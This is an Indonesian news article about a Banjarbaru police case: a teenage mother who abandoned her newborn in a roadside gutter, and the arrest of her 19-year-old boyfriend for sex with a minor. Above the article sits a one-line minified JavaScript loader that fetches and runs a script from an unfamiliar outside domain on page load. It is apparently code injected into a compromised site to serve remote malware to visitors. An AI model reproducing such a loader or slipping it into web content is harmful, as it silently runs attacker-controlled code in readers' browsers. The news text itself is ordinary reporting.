(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Oplus_131072
KANALKALIMANTAN.COM, BANJARBARU – Proses penyelidikan dan penyidikan jajaran Kepolisian Resor Banjarbaru untuk mengungkap pelaku pembuang jasad bayi di Jalan Rosela, Kelurahan Kemuning, Kota Banjarbaru membuahkan hasil.
Seorang lelaki berinisial R (19) ditetapkan sebagai tersangka dari persetubuhan anak di bawah umur dengan seorang perempuan berinisial MA (17) alias ibu yang membuang bayi di selokan pinggir jalan.
Kapolres Banjarbaru AKBP Pius x Febry Aceng Loda mengatakan bahwa proses penyelidikan sekaligus penyidikan atas kasus ini memakan waktu satu pekan lebih tiga hari.
“Kita mengumpulkan semua saksi bukti-bukti yang minim di TKP, sehingga butuh proses yang cukup rumit. Namun, dari penyelidikan kita menemukan tersangka dan korban,” ujar Kapolres Banjarbaru AKBP Pius x Febry Aceng Loda saat merilis pengungkapan kasus tersebut, Selasa (14/10/2025) siang.
“Korban berinisial MA (17), masih sekolah, berjenis kelamin perempuan, tempat tinggal di Banjarbaru, kemudian tersangka berinisial R (19) laki-laki belum bekerja, berdomisili di Kelurahan Sungai Ulin, Kecamatan Banjarbaru Utara, Kota Banjarbaru,” sambungnya.
Baca juga: Bisakah Seorang Introver Jadi Public Speaker Hebat?
Kapolres bercerita awal kejadian bermula saat tersangka dan korban berpacaran sejak bulan Januari. Kemudian di bulan Februari saat mereka berpacaran, keduanya melakukan hubungan layaknya suami istri sebanyak 4 kali, terjadi di rumah dan di luar rumah.
“Pada bulan Juli, korban merasa ada perubahan fisik tubuh, akhirnya melakukan tes dan menyatakan bahwa dia hamil,” ungkap dia.
Mengetahui kehamilan itu, MA langsung melaporkan kepada sang pacar R. Namun, tersangka R malah tidak ingin mengakui jika itu hasil dari perbuatannya.
“Tersangka menghindar terus, sampai diblok nomornya oleh tersangka karena dihubungi terus menerus. Tersangka mungkin merasa resah, terganggu hingga memutuskan hubungan,” jelasnya.
Di sisi lain MA yang baru diputus oleh pacarnya, harus menanggung kehamilan dalam kesendirian karena tidak memberitahu kejadian kehamilan kepada orangtuanya.
Sampai dengan 4 Oktober sekitar pukul 07.00 Wita, MA melahirkan seorang diri tanpa bantuan tenaga medis maupun oranglain di WC rumahnya.
“Agar tidak diketahui orangtuanya, kemudian bayi yang baru lahir masih hidup dibungkus ke dalam plastik, kemudian ditutupi dengan pakaian basah,” jelas Kapolres Banjarbaru.
Kemudian pada pukul 12.30 Wita, MA keluar dari rumah sambil membawa tas belanja warna kuning yang berisikan bayi perempuan dengan mengendarai sepeda motor Honda Scoopy warna putih dengan berdalih ingin mengantarkan bayi kepada tersangka.
“Tapi karena susah dihubungi, tersangka juga sudah memblokir nomor, hingga tepat berada di sekitar Jalan Rosela, MA kembali berusaha menghubungi lagi, tapi tidak juga ada respon, selanjutnya pukul 14.00 di Jalan Rosela, MA meletakkan plastik ungu yang berisikan bayi tersebut di dalam selokan pinggir jalan,” jelas Kapolres.
Baca juga: Bukan Underpass, Ini Alasan Pilih Bangun Flyover di Bundaran Simpang Empat
R (19) tersangka kasus persetubuhan anak di bawah umur berinisial MA (17) yang merupakan korban atau ibu yang membuang jasad bayi di selokan pinggir Jalan Rosela. Foto: wanda
Tersangka R saat ini disangkakan hukuman seperti tertera pada Pasal 81 ayat (2) Undang-Undang Nomor 17 tahun 2016 tentang Perlindungan Anak dengan ancaman hukuman paling rendah 5 tahun
dan paling tinggi 15 tahun.
Sementara, ibu dari bayi masih ditetapkan sebagai korban hingga nanti semua proses uji lab DNA keluar katanya polisi akan meningkatkan status daripada korban.
Dalam penanganan kasus ini, Kasat Reskrim Polres Banjarbaru AKP Haris Wicaksono menjelaskan bahwa pihaknya saat ini menerbitkan dua LP atau laporan.
“Satu LP berkaitan dengan tindak pidana pembunuhan bayi, kemudian satu LP lainnya adalah berkaitan dengan persetubuhan untuk laki-laki karena tidak terlibat dalam membawa bayinya atau pun proses pembunuhannya sehingga untuk menjerat tersangka R ini kami menggunakan persetubuhan anak di bawah umur,” ujar AKP Haris Wicaksono.
Pasal persetubuhan dikenakan polisi untuk memberikan status korban si perempuan, sehingga mendapatkan dulu hak-haknya untuk diberikan pendampingan dinas terkait sampai dengan uji psikologi.
Korban MA juga dilakukan penanganan medis karena ketika ditemukan oleh petugas yang bersangkutan ini belum melalui penangan post partum atau penanganan medis pasca kelahiran.
“Sehingga korban MA langsung kita bawa ke rumah sakit.
Sambil menunggu fisik-psikis yang bersangkutan ini stabil, kami juga menunggu hasil uji lab DNA berkaitan dengan identiknya DNA ayah dan ibunya ini terhadap si bayinya,” sebutnya.
Apabila semua proses berjalan hingga hasil lah DNA keluar polisi akan melanjutkan proses penyidikan kepada korban MA.
“Namun nanti dalam penanganannya diharapkan tidak perlu atau tidak ada assessmen berkaitan dengan
ancaman pidananya, tidak perlu dengan kurangan dan sebagainya, mungkin bisa dengan kerjaan sosial dan sebagainya,” tutup AKP Haris. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
This website uses cookies.